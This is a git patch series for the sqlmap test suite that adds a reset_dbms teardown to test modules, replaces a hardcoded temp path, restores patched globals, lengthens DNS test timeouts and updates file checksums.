thirdparty/ansistrm/ansistrm.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 2caa66593..fa05cc0ed 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.19" +VERSION = "1.10.7.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/_testutils.py b/tests/_testutils.py index 781f54749..a856b1ebc 100644 --- a/tests/_testutils.py +++ b/tests/_testutils.py @@ -98,6 +98,22 @@ def set_dbms(name): Backend.forceDbms(name) +def reset_dbms(): + """Clear any DBMS forced via set_dbms()/Backend, restoring the clean post-bootstrap state. + + A forced DBMS lives on the global `kb` singleton and is read by every dialect/agent path, so a + module that forces one without clearing it would leak that back-end into later test modules + (order-dependent flakiness). Modules that call set_dbms() should expose this as their + `tearDownModule` so the leak can never cross a module boundary. + """ + from lib.core.common import Backend + from lib.core.data import kb + from lib.core.settings import UNKNOWN_DBMS_VERSION + Backend.flushForcedDbms(force=True) # kb.forcedDbms = None; kb.stickyDBMS = False + kb.resolutionDbms = None + kb.dbmsVersion = [UNKNOWN_DBMS_VERSION] + + # --- property/fuzz testing harness (shared so individual test files don't each reinvent it) --- _PROPERTY_BASE = 0x51A1 diff --git a/tests/test_agent.py b/tests/test_agent.py index d49a7d76f..203e27896 100644 --- a/tests/test_agent.py +++ b/tests/test_agent.py @@ -34,7 +34,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.agent import agent @@ -766,3 +766,7 @@ class TestAgentWhereQuery(unittest.TestCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_brute.py b/tests/test_brute.py index 3d8143b91..c13395978 100644 --- a/tests/test_brute.py +++ b/tests/test_brute.py @@ -22,7 +22,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb @@ -196,3 +196,7 @@ class TestBrute(DbmsStateMixin, unittest.TestCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_common.py b/tests/test_common.py index 87369fe42..73396f0ec 100644 --- a/tests/test_common.py +++ b/tests/test_common.py @@ -19,14 +19,16 @@ irrelevant. Temp files go to the session scratchpad and are removed. stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. """ +import atexit import base64 import os +import shutil import sys import tempfile import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb, paths @@ -119,7 +121,8 @@ from lib.core.common import ( zeroDepthSearch, ) -SCRATCH = "/tmp/claude-1000/-tmp-tmp-oUnlQJzlQN/fcd55d25-6313-49ed-817e-dcbe7fc2bf22/scratchpad" +SCRATCH = tempfile.mkdtemp(prefix="sqlmap-tests-") # per-run temp dir (portable; replaces a stale hardcoded path) +atexit.register(lambda: shutil.rmtree(SCRATCH, ignore_errors=True)) def _write_temp(content, suffix): @@ -1714,3 +1717,7 @@ class TestCheckOldOptions(unittest.TestCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_databases_enum.py b/tests/test_databases_enum.py index 3bba88dde..13cc6a54a 100644 --- a/tests/test_databases_enum.py +++ b/tests/test_databases_enum.py @@ -21,7 +21,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() @@ -765,3 +765,7 @@ class TestDatabasesBruteForce(_DbBase): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dbms_enum.py b/tests/test_dbms_enum.py index dff6a0465..973255063 100644 --- a/tests/test_dbms_enum.py +++ b/tests/test_dbms_enum.py @@ -24,7 +24,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.common import Backend @@ -720,3 +720,7 @@ class TestHSQLDBEnum(_EnumBaseB): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dialect.py b/tests/test_dialect.py index 4cce55abf..5e8212763 100644 --- a/tests/test_dialect.py +++ b/tests/test_dialect.py @@ -20,7 +20,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.agent import agent @@ -105,3 +105,7 @@ class TestForgeUnionQuery(unittest.TestCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dns_engine.py b/tests/test_dns_engine.py index 767a5019c..e1194142d 100644 --- a/tests/test_dns_engine.py +++ b/tests/test_dns_engine.py @@ -38,7 +38,7 @@ import time import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.agent import agent @@ -188,7 +188,7 @@ class _DnsCase(unittest.TestCase): finally: c.close() served[0] += len(chunk) - for _ in range(100): + for _ in range(500): # ~5s deadline (was ~1s) - loopback packet can lag on a loaded CI runner with self.server._lock: if any(host.encode() in r for r in self.server._requests): break @@ -313,7 +313,7 @@ class TestDnsLabelInvariant(_DnsCase): finally: c.close() served[0] += len(chunk) - for _ in range(100): + for _ in range(500): # ~5s deadline (was ~1s) - loopback packet can lag on a loaded CI runner with self.server._lock: matched = [r for r in self.server._requests if host.encode() in r] if matched: @@ -394,3 +394,7 @@ class TestDnsChannelDetection(_DnsCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dump_format.py b/tests/test_dump_format.py index ce9076c6b..d3484c28f 100644 --- a/tests/test_dump_format.py +++ b/tests/test_dump_format.py @@ -27,7 +27,7 @@ import unittest from collections import OrderedDict as _PlainOrderedDict sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap +from _testutils import bootstrap, reset_dbms bootstrap() from lib.core.common import Backend @@ -408,3 +408,7 @@ class TestReplication(unittest.TestCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_dump_jsonl.py b/tests/test_dump_jsonl.py index 9dc5cac8a..515b68bf3 100644 --- a/tests/test_dump_jsonl.py +++ b/tests/test_dump_jsonl.py @@ -26,7 +26,7 @@ import unittest from collections import OrderedDict sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap +from _testutils import bootstrap, reset_dbms bootstrap() from lib.core.common import Backend @@ -165,3 +165,7 @@ class TestJsonlContract(_JsonlDumpCase): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_entries.py b/tests/test_entries.py index d54a92bbc..b4cb78dfb 100644 --- a/tests/test_entries.py +++ b/tests/test_entries.py @@ -22,7 +22,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() @@ -800,3 +800,7 @@ class TestEntriesInference(_EntriesBase): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_error_engine.py b/tests/test_error_engine.py index 2c9b54c5a..d13231729 100644 --- a/tests/test_error_engine.py +++ b/tests/test_error_engine.py @@ -22,7 +22,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb @@ -111,3 +111,7 @@ class TestOneShotErrorUse(unittest.TestCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_filesystem.py b/tests/test_filesystem.py index 70b6192e1..353252f8e 100644 --- a/tests/test_filesystem.py +++ b/tests/test_filesystem.py @@ -28,7 +28,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb @@ -733,3 +733,7 @@ class TestUDF(_FsBase): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_fingerprint.py b/tests/test_fingerprint.py index 0aefbd3da..b583ea061 100644 --- a/tests/test_fingerprint.py +++ b/tests/test_fingerprint.py @@ -18,7 +18,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb @@ -93,12 +93,18 @@ class TestFingerprint(unittest.TestCase): conf.batch = True conf.extensiveFp = False conf.api = False + # _drive() stubs the SHARED lib.request.inject module (plugins do `from lib.request import inject`), + # so snapshot the originals and restore them, else stubbed getValue/checkBooleanExpression leak process-wide + import lib.request.inject as _inject + self._inject = _inject + self._inject_saved = (_inject.getValue, _inject.checkBooleanExpression) def tearDown(self): for k, v in self._saved.items(): conf[k] = v for k, v in self._kb.items(): kb[k] = v + self._inject.getValue, self._inject.checkBooleanExpression = self._inject_saved def _drive(self, name, modpath, pkg, oracle): set_dbms(name) @@ -201,3 +207,7 @@ for _name, _mod, _pkg in TARGETS: if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_generic_takeover.py b/tests/test_generic_takeover.py index 89449adf4..40f0f0c9d 100644 --- a/tests/test_generic_takeover.py +++ b/tests/test_generic_takeover.py @@ -26,7 +26,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() @@ -599,3 +599,7 @@ class TestTakeover(_GenericBase): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_graphql.py b/tests/test_graphql.py index 5be9d901b..506e8f102 100644 --- a/tests/test_graphql.py +++ b/tests/test_graphql.py @@ -246,6 +246,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase): def setUp(self): self._gql = gi._gqlSend + self._conf = gi.conf gi.conf = type("C", (), {"url": "http://test/graphql"})() pages = {"true": MATCH, "false": NOMATCH} @@ -259,6 +260,7 @@ class TestGraphqlBooleanDetection(unittest.TestCase): def tearDown(self): gi._gqlSend = self._gql + gi.conf = self._conf def test_boolean_detected(self): slot = _slot("query", "Query", "user", "username", "string") @@ -277,6 +279,7 @@ class TestGraphqlErrorDetection(unittest.TestCase): def setUp(self): self._gql = gi._gqlSend + self._conf = gi.conf gi.conf = type("C", (), {"url": "http://test/graphql"})() def fakeSend(endpoint, query, variables=None): @@ -287,6 +290,7 @@ class TestGraphqlErrorDetection(unittest.TestCase): def tearDown(self): gi._gqlSend = self._gql + gi.conf = self._conf def test_error_detected(self): slot = _slot("query", "Query", "user", "username", "string") @@ -372,10 +376,12 @@ class TestGraphqlIntrospectionFallback(unittest.TestCase): def setUp(self): self._gql = gi._gqlSend + self._conf = gi.conf gi.conf = type("C", (), {"url": "http://test/graphql"})() def tearDown(self): gi._gqlSend = self._gql + gi.conf = self._conf def test_fallback_without_specifiedByURL(self): calls = [] diff --git a/tests/test_identifiers_output.py b/tests/test_identifiers_output.py index dfa27ab27..39a97f066 100644 --- a/tests/test_identifiers_output.py +++ b/tests/test_identifiers_output.py @@ -13,7 +13,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.common import safeSQLIdentificatorNaming, unsafeSQLIdentificatorNaming, safeCSValue @@ -83,3 +83,7 @@ class TestSafeCSValue(unittest.TestCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_inference_engine.py b/tests/test_inference_engine.py index bbc0b5a1f..066c70406 100644 --- a/tests/test_inference_engine.py +++ b/tests/test_inference_engine.py @@ -24,7 +24,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb @@ -151,3 +151,7 @@ class TestSearchIsLogarithmic(_EngineCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_misc.py b/tests/test_misc.py index d92b72b17..f3bf3faef 100644 --- a/tests/test_misc.py +++ b/tests/test_misc.py @@ -13,7 +13,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core import common as C @@ -123,3 +123,7 @@ class TestArrayHelpers(unittest.TestCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_parse_modules.py b/tests/test_parse_modules.py index 37e90cc2e..f94a4d27b 100644 --- a/tests/test_parse_modules.py +++ b/tests/test_parse_modules.py @@ -18,7 +18,7 @@ import tempfile import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import kb, conf @@ -173,3 +173,7 @@ class TestConfigFileParser(unittest.TestCase): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_property.py b/tests/test_property.py index 04cf72180..789eea476 100644 --- a/tests/test_property.py +++ b/tests/test_property.py @@ -28,7 +28,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, for_all, set_dbms +from _testutils import bootstrap, for_all, set_dbms, reset_dbms bootstrap() from extra.cloak.cloak import cloak, decloak @@ -272,3 +272,7 @@ class TestRobustness(unittest.TestCase): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_report.py b/tests/test_report.py index 63c4fd7e0..d5dade141 100644 --- a/tests/test_report.py +++ b/tests/test_report.py @@ -38,6 +38,12 @@ class _CollectorCase(unittest.TestCase): def tearDown(self): kb.partRun = self._saved_partRun + # setupReportCollector() attaches a ReportErrorRecorder to the GLOBAL logger; drop it so it does + # not leak a handler bound to a now-closed collector into later tests + from lib.core.data import logger + for handler in list(logger.handlers): + if isinstance(handler, api.ReportErrorRecorder): + logger.removeHandler(handler) try: self.c.disconnect() except Exception: diff --git a/tests/test_search_enum.py b/tests/test_search_enum.py index ae9437ec7..66b3b850a 100644 --- a/tests/test_search_enum.py +++ b/tests/test_search_enum.py @@ -20,7 +20,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() @@ -548,3 +548,7 @@ class TestSearchInference(_SearchBase): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_target_parsing.py b/tests/test_target_parsing.py index 0dcd8312c..c5a981f4a 100644 --- a/tests/test_target_parsing.py +++ b/tests/test_target_parsing.py @@ -22,6 +22,7 @@ respect to the network, so they are exercised here against real temp dirs. All expected values below were probed from actual output, not assumed. """ +import atexit import os import shutil import sys @@ -29,7 +30,7 @@ import tempfile import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap +from _testutils import bootstrap, reset_dbms bootstrap() from lib.core.data import conf @@ -62,7 +63,8 @@ from lib.core.target import _setRequestParams from lib.core.target import _setResultsFile from lib.core.target import initTargetEnv -SCRATCH = "/tmp/claude-1000/-tmp-tmp-oUnlQJzlQN/fcd55d25-6313-49ed-817e-dcbe7fc2bf22/scratchpad" +SCRATCH = tempfile.mkdtemp(prefix="sqlmap-tests-") # per-run temp dir (portable; replaces a stale hardcoded path) +atexit.register(lambda: shutil.rmtree(SCRATCH, ignore_errors=True)) # conf/kb keys that the tests below mutate; saved in setUp, restored in tearDown so # one test can never leak global state into another (or into the rest of the suite). @@ -519,3 +521,7 @@ class TestSetResultsFile(_TargetTestBase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_techniques.py b/tests/test_techniques.py index c1f1b6313..6ab50de7e 100644 --- a/tests/test_techniques.py +++ b/tests/test_techniques.py @@ -30,7 +30,7 @@ import tempfile import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb @@ -1518,3 +1518,7 @@ class TestConfigUnion(unittest.TestCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_union_engine.py b/tests/test_union_engine.py index 97ac88081..f0592fe4e 100644 --- a/tests/test_union_engine.py +++ b/tests/test_union_engine.py @@ -23,7 +23,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() from lib.core.data import conf, kb @@ -105,3 +105,7 @@ class TestOrderByColumnCount(unittest.TestCase): if __name__ == "__main__": unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_users_enum.py b/tests/test_users_enum.py index d23e2db17..f20c14328 100644 --- a/tests/test_users_enum.py +++ b/tests/test_users_enum.py @@ -20,7 +20,7 @@ import sys import unittest sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from _testutils import bootstrap, set_dbms +from _testutils import bootstrap, set_dbms, reset_dbms bootstrap() @@ -476,3 +476,7 @@ class TestUsersGetUsersInference(_UsersBase): if __name__ == "__main__": unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_xpath.py b/tests/test_xpath.py index 2c3dcfac1..99903382a 100644 --- a/tests/test_xpath.py +++ b/tests/test_xpath.py @@ -9,8 +9,11 @@ HTTP/lxml layer so detection, fingerprinting, blind inference, payload building, formatting can be exercised without a live target. """ +import os +import sys import unittest +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) from _testutils import bootstrap bootstrap() From d60e95ede7f44a0492fadeb55aaa3a4cbe50112d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 22:52:02 +0200 Subject: [PATCH 21/34] Some more stabilization of unittests --- data/txt/sha256sums.txt | 38 +++++++++++++++++------------------ lib/core/common.py | 4 +++- lib/core/settings.py | 2 +- lib/parse/configfile.py | 2 ++ lib/utils/hash.py | 2 ++ tests/test_api.py | 2 ++ tests/test_bigarray.py | 12 +++++++++++ tests/test_checks.py | 3 ++- tests/test_common.py | 3 +-- tests/test_filesystem.py | 13 ++++++------ tests/test_ldap.py | 15 ++++++++++++++ tests/test_nosql.py | 15 ++++++++++++++ tests/test_pagecontent.py | 1 + tests/test_payload_marking.py | 18 +++++++++++++++++ tests/test_purge.py | 5 ++++- tests/test_sgmllib.py | 1 + tests/test_ssti.py | 3 +-- tests/test_targeturl.py | 14 +++++++++++++ tests/test_texthelpers.py | 1 + tests/test_threads.py | 1 + 20 files changed, 122 insertions(+), 33 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index c654360a5..a894ed054 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 48ffe93d61734e16c3b20153b51595853d9ac1fbcf0b537e0e61e957b0c0bfa6 lib/core/agent.py c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856 lib/core/bigarray.py -e6866a8a8870c345334296e9533042719d32219127fafdda481566b119c3a50d lib/core/common.py +c230a214023a6556648e6af485b42fbcd10f23d2cb9018ad7bc68e36f7241328 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -de1ffd738b35e31eb95467eda8a230cc81ff4d21e48e4c02c29da09299823126 lib/core/settings.py +2f2411c91cab0ee8b337c9672bd510e408e1ab44b83ec0eaf0763604f4f99926 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -201,7 +201,7 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py fef119c6f3f2fe6a092112fd832d645c58e4c3c2af0bd97ace4487372c1e3574 lib/parse/cmdline.py -02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py +925a068efa1885fa40671414a887c088f2aafbe8cb76f01286e6bde3f624dac1 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py ea9b195e5f5030b96d1993c106c1e13fb5c7faaf6bdc5daacfd06ec984e7f323 lib/parse/html.py @@ -264,7 +264,7 @@ bd9267d94390ba87d6c5a35c90f2406d6a4135a7c8ea01db76dd9e6519eee2ed lib/utils/dial 3c4ad819589fe4fca303706dc87969273a07a04dee85e23f064b39caf1fb80e9 lib/utils/gui.py 972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935 lib/utils/har.py 0cd3860c03e39bacd1d0fe4cf1a0c605de48ff82f70441319f21d47e38e7e3a9 lib/utils/hashdb.py -f1f29dee813d08be77023543c45a4f3621ed26b1bbc133c020b618256663baaf lib/utils/hash.py +0c4ffffbf873bfc6981da6c92697331ce8d985025982ad7c6d52f2c26639df73 lib/utils/hash.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py 1bbf57e43f921d4132e6e5a336ff39454a9506b36de94ebcc45879d0abcac56a lib/utils/keysetdump.py b57aa20b7a6fd8afd07bae773fd03f8acb05655ee605362b220e65a0664dc38d lib/utils/library.py @@ -587,14 +587,14 @@ dcdeed9ee285e63cf06baf8347e3db7f210ef25a63869bab78ce1ec6898ae191 tamper/unional ce1b6bf8f296de27014d6f21aa8b3df9469d418740cd31c93d1f5e36d6c509cf tamper/xforwardedfor.py 44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 tests/__init__.py 0e9054da5d1fed1ddfc982b8f559914237f65d9be5e595c3218fcd236dfa7212 tests/test_agent.py -138381e05a860272fedab780e6c38ab74c59c879048b11b909d23f8df654352a tests/test_api.py -feb763ddcbf4f32822372ca53f8c71c754af7b72510ef06e1e9c77927fc90b10 tests/test_bigarray.py +9dc0ce7a038e7ac67c7f992b478a58492dad335d14761fa0600eec1f5a339c76 tests/test_api.py +694d8c87b2b98d7de6bc09fd634a2d32c436c7955c793cca6fa8790d3868f701 tests/test_bigarray.py aeefe699f477e77ec4fb46c2692a1ea04cd89ad9cce62e8857d13e3bc0606e9d tests/test_brute.py 27ad87c0ea377e0657bd6f6a4eaa0e9756aa9d28ec0483bdadeb3f66dcc4660d tests/test_charset.py -7596fc69678304923b5c945c0fd9b8ee62a2dfc7fb14ccb6dc7af30893dc8012 tests/test_checks.py +9cc73e06ba3b4c07e0d8f5fd1962f8f25ba6b7ab7278cfb094bfff76fe5e7328 tests/test_checks.py 9e678a56e16211c49ab4995b6c658d3f122bfa3b357d9e17ff38f5a489ace6ad tests/test_cloak.py 2ec894f49ca9bd750a23ead16dae176bcbc57d18ec5847fa4a5eeb886d75c1bd tests/test_common_helpers.py -d436ad4c99be71d5faadb37f63d96a498e7e2b84f257ac9c7965b2ccd999e9e9 tests/test_common.py +886754f39804a4f3f7157124b21ce08d9bad83d156dcd81bc942521bb42c4a29 tests/test_common.py 899bc085e96d68f8a8cbe0d7e55863e98ef37b73ab0e4234f7d969e31ea2d23a tests/test_comparison_json.py 7b72d4f850bbd059b8e95fceb45a58470354cb7270c99b0e9981aaa189af20d1 tests/test_comparison.py a7c3cf9f7820f377ebfdecf9383ebebc2932dd4a2a531a2b4496071f9d973c1c tests/test_compat.py @@ -615,7 +615,7 @@ ec58ba0849d90d2bb7580fe2b8b96cd8299ddfc25f14dc27d9de9d41f152c78a tests/test_dns 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py f4c54b19a294bf392b23dc627781d50894c8e44ca4fe5d7315c98984a3e196a4 tests/test_entries.py ed7df24ce154e4cbb4462874a38202794664d12b083845bbee9f80481ec9cf52 tests/test_error_engine.py -6f3c214128c7147307c70f0905a0d1aa8118cbbc95086c6fcadce13009fb4946 tests/test_filesystem.py +950527f0abaffdc031e34336a870cd0f89723ee8589bf77763f5978f5e4c0be8 tests/test_filesystem.py 31fa778c7ee318169961d04ea7b93afc539c24b4114a6a3eaf45698fef57bb4b tests/test_fingerprint.py abb6eef3d2d08b87b6210dde6dd1333d39da64f5abe5574240fa47efce7528f3 tests/test_generic_takeover.py b7d59fe68af29d47dda1d7ad77e9b5c91ed50e9efbb976e62e0dc67dd11b3e17 tests/test_graphql.py @@ -627,36 +627,36 @@ c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_has b23bf934dafe54c241761517a7b8c139159aa4b941db10832a626a51fea81e35 tests/test_http2.py 139dcedb9093eb0404ce497549eb6ab7e83ae1e70df8eb42da74ab5a3e7d2a85 tests/test_identifiers_output.py 0a5736b86a47e66d47d44ecf7b8c7531417453fc3e976cd64e9865d3afba78f4 tests/test_inference_engine.py -0fc7bd9bae4fbd09f51027780b7a8e72eab73810dccdfdf87ed9e489e6e671c9 tests/test_ldap.py +22629df783f75a88c2a30ffb8e37af095e761b771322fefbd69bdd7a5c9348fb tests/test_ldap.py 571d7761d60a2919985d065893af68eac5d12286f491eaba434c1d8587f913a0 tests/test_library.py 